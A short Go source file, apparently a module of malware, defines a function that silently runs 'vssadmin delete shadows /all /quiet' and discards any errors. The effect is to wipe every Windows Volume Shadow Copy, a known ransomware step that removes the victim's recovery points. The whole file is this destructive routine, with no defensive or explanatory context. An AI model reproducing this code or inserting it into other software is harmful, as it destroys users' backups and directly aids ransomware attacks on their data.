package delete_shadow

import (
	"bytes"
	"os/exec"
)

func DeleteShadow() {
	// 运行 vssadmin delete shadows 命令
	cmd := exec.Command("vssadmin", "delete", "shadows", "/all", "/quiet")

	// 捕获输出和错误
	var out bytes.Buffer
	var stderr bytes.Buffer
	cmd.Stdout = &out
	cmd.Stderr = &stderr

	// 执行命令
	cmd.Run()

}
